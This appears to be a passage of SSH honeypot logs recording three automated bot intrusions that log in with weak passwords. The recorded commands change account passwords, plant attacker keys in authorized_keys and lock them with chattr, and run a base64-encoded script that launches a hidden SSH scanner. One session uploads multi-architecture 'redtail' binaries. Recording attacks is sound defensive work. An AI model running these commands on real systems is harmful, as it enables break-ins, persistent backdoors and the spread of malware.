\"changeme\\ndiCR0JPHsJPY\\ndiCR0JPHsJPY\"|passwd|bash"},{"seq":6,"at":"2026-08-20T09:21:22.941207+00:00","kind":"input","latency_ms":null,"data":"echo \"changeme\\ndiCR0JPHsJPY\\ndiCR0JPHsJPY\\n\"|passwd"},{"seq":7,"at":"2026-08-20T09:21:23.789773+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T09:21:25.811800+00:00","kind":"output","latency_ms":2021,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T09:21:26.665299+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T09:21:27.610961+00:00","kind":"output","latency_ms":948,"data":"956 0 956 0 0 0"},{"seq":11,"at":"2026-08-20T09:21:28.460526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T09:21:29.736498+00:00","kind":"output","latency_ms":1277,"data":"-rwxr-xr-x 1 root root 148K Jan 1 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T09:21:30.584856+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T09:21:32.363386+00:00","kind":"output","latency_ms":1778,"data":"0 * * * * /opt/stable/bin/muck-out.sh >> /var/log/stable/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/stable/hoofcheck.log 2>&1\n30 2 * * 1 /opt/stable/bin/gallop-backup.sh >> /var/log/stable/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/stable/canter-deploy.log 2>&1"},{"seq":15,"at":"2026-08-20T09:21:33.213372+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T09:21:34.823730+00:00","kind":"output","latency_ms":1611,"data":" 03:09:53 up 6:11, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nftpadmin pts/0 203.0.113.44 03:10 0.00s 0.00s 0.00s w"},{"seq":17,"at":"2026-08-20T09:21:35.670239+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T09:21:35.671126+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T09:21:36.519223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T09:21:37.001081+00:00","kind":"output","latency_ms":481,"data":"64"},{"seq":21,"at":"2026-08-20T09:21:37.849538+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T09:21:37.850261+00:00","kind":"output","latency_ms":null,"data":"top - 09:21:37 up 6:11, 0 user, load average: 0.05, 0.05, 0.03\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T09:21:38.697675+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T09:21:38.698442+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T09:21:39.545849+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T09:21:39.546841+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T09:21:40.393645+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T09:21:40.394230+00:00","kind":"output","latency_ms":null,"data":"ftpadmin"},{"seq":29,"at":"2026-08-20T09:21:41.242275+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T09:21:41.845688+00:00","kind":"output","latency_ms":603,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T09:21:42.694395+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T09:21:43.168459+00:00","kind":"output","latency_ms":473,"data":"24.02G"},{"seq":33,"at":"2026-08-20T09:21:45.837549+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpadmin changeme\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T09:21:46.684436+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T09:21:47.452564+00:00","kind":"output","latency_ms":767,"data":""},{"seq":36,"at":"2026-08-20T09:21:49.724344+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T09:21:50.247986+00:00","kind":"output","latency_ms":524,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T09:21:51.099081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T09:21:51.692902+00:00","kind":"output","latency_ms":596,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T09:21:52.541550+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T09:21:53.388994+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T09:21:54.057090+00:00","kind":"output","latency_ms":667,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T09:21:54.906624+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T09:21:55.606095+00:00","kind":"output","latency_ms":699,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T09:21:56.456777+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T09:21:57.274813+00:00","kind":"output","latency_ms":818,"data":""},{"seq":47,"at":"2026-08-20T09:22:05.368803+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T09:22:05.369383+00:00","kind":"output","latency_ms":null,"data":"ftpadmin"}],"credentials":[{"username":"ftpadmin","password":"changeme","method":"password","accepted":true,"tier":"other"}]} {"id":"87c2eb28-34f2-44c9-9d94-210ae924165b","name":"crimson-nimble-meerkat","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57926,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-20T07:29:14.913545+00:00","ended_at":"2026-08-20T07:29:15.120608+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-20T07:29:14.798249+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-20T07:29:14.934077+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-20T07:29:15.001660+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-20T07:29:15.097592+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-20T07:29:15.115062+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-20T07:29:15.117442+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-20T07:29:15.118356+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-20T07:29:15.119568+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Qwer1234","method":"password","accepted":true,"tier":"other"}]} {"id":"88e56eb6-fb2b-44ac-a292-58c2bea17bdc","name":"glassy-clever-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"51.75.247.232","src_port":38394,"username":"fts","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":280,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T06:09:48.871254+00:00","ended_at":"2026-08-20T06:09:48.945271+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3545,"events":[{"seq":1,"at":"2026-08-20T06:09:17.116831+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T06:09:17.394217+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T06:09:20.288052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T06:09:21.152425+00:00","kind":"output","latency_ms":865,"data":"1"},{"seq":5,"at":"2026-08-20T06:09:21.431079+00:00","kind":"input","latency_ms":null,"data":"echo -e \"fts\\nj7HfDCMXJPDE\\nj7HfDCMXJPDE\"|passwd|bash"},{"seq":6,"at":"2026-08-20T06:09:21.707303+00:00","kind":"input","latency_ms":null,"data":"echo \"fts\\nj7HfDCMXJPDE\\nj7HfDCMXJPDE\\n\"|passwd"},{"seq":7,"at":"2026-08-20T06:09:21.983999+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T06:09:22.523546+00:00","kind":"output","latency_ms":540,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T06:09:22.809555+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T06:09:23.362924+00:00","kind":"output","latency_ms":562,"data":"956 112 620 27 196 0"},{"seq":11,"at":"2026-08-20T06:09:23.642655+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T06:09:24.433443+00:00","kind":"output","latency_ms":792,"data":"lrwxrwxrwx 1 root root 7 Mar 15 2026 /bin/ls -> /usr/bin/ls"},{"seq":13,"at":"2026-08-20T06:09:24.713453+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T06:09:25.653535+00:00","kind":"output","latency_ms":940,"data":"*/5 * * * * /usr/local/bin/backup.sh >/dev/null 2>&1\n15 2 * * * /opt/app/bin/rotate-logs.sh >/dev/null 2>&1\n0 * * * * /usr/bin/find /var/log -type f -name '*.log' -mtime +7 -delete >/dev/null 2>&1"},{"seq":15,"at":"2026-08-20T06:09:25.932235+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T06:09:27.150085+00:00","kind":"output","latency_ms":1217,"data":" 10:12:41 up 2:59, 1 user, load average: 0.04, 0.05, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nfts pts/0 203.0.113.1 10:10 0.00s 0.03s 0.00s w"},{"seq":17,"at":"2026-08-20T06:09:27.426533+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T06:09:27.427955+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T06:09:27.705599+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T06:09:28.237929+00:00","kind":"output","latency_ms":532,"data":"8"},{"seq":21,"at":"2026-08-20T06:09:28.526114+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T06:09:28.527578+00:00","kind":"output","latency_ms":null,"data":"top - 06:09:28 up 2:59, 0 user, load average: 0.1, 0.1, 0.09\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T06:09:28.818349+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T06:09:28.820271+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T06:09:29.103082+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T06:09:29.104484+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T06:09:29.387737+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T06:09:29.389926+00:00","kind":"output","latency_ms":null,"data":"fts"},{"seq":29,"at":"2026-08-20T06:09:29.671298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T06:09:30.466656+00:00","kind":"output","latency_ms":795,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T06:09:30.746510+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T06:09:31.267670+00:00","kind":"output","latency_ms":522,"data":"24G"},{"seq":33,"at":"2026-08-20T06:09:32.223399+00:00","kind":"input","latency_ms":null,"data":"echo \"fts fts\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T06:09:32.505394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T06:09:33.063184+00:00","kind":"output","latency_ms":562,"data":""},{"seq":36,"at":"2026-08-20T06:09:33.449080+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T06:09:34.407749+00:00","kind":"output","latency_ms":958,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T06:09:34.688131+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T06:09:38.208945+00:00","kind":"output","latency_ms":3521,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T06:09:38.486446+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T06:09:38.764270+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T06:09:39.610857+00:00","kind":"output","latency_ms":847,"data":"1"},{"seq":43,"at":"2026-08-20T06:09:39.889747+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T06:09:40.329626+00:00","kind":"output","latency_ms":440,"data":"1"},{"seq":45,"at":"2026-08-20T06:09:40.609668+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T06:09:48.887992+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-20T06:09:48.893239+00:00","kind":"output","latency_ms":null,"data":"fts"}],"credentials":[{"username":"fts","password":"fts","method":"password","accepted":true,"tier":"other"}]}